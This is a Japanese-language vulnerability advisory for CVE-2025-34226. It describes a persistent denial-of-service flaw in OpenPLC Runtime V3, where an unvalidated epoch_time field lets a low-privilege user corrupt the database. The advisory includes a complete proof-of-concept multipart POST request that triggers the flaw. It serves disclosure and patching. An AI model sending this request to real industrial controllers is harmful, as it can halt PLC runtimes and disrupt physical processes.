
OpenPLC Runtimeは、/upload-program-actionエンドポイントにおいて永続的なサービス拒否(DoS)の脆弱性の影響を受けます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-34226 |
| 影響を受けるバージョン | OpenPLC Runtime V3 |
| 修正バージョン | (コミット) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| 深刻度 | 高 |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (高) |
| CWE | CWE-664 リソースのライフタイムを通じた不適切な制御、CWE-20 不適切な入力検証 |
OpenPLC Runtimeは、/upload-program-actionエンドポイントに持続的denial of service(DoS)脆弱性があります。
プログラムアップロード中にepoch_timeパラメータを変更することで、低権限の認証ユーザーがバックエンドデータベースを破損させる可能性があります。
この破損により、最初に重要なページが無効になり、最終的にランタイム全体の起動が妨げられ、実質的にアプリケーションが再インストールされるまで使用不能になります。
/upload-program-actionエンドポイントは、epoch_timeフィールドを検証なしで直接データベースに書き込みます。
このフィールドが細工された、または無意味な値(例:1758627838や不正なデータ)に設定されると、OpenPLCは一貫性のない状態を保存します。
ランタイムのリロードまたは再起動時に、アプリケーションは破損した行をクエリし、NoneTypeオブジェクトに遭遇して致命的なクラッシュが発生します(TypeError: 'NoneType' object is not subscriptable)。
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programsを介してプログラムをアップロードする発見者: Eyodav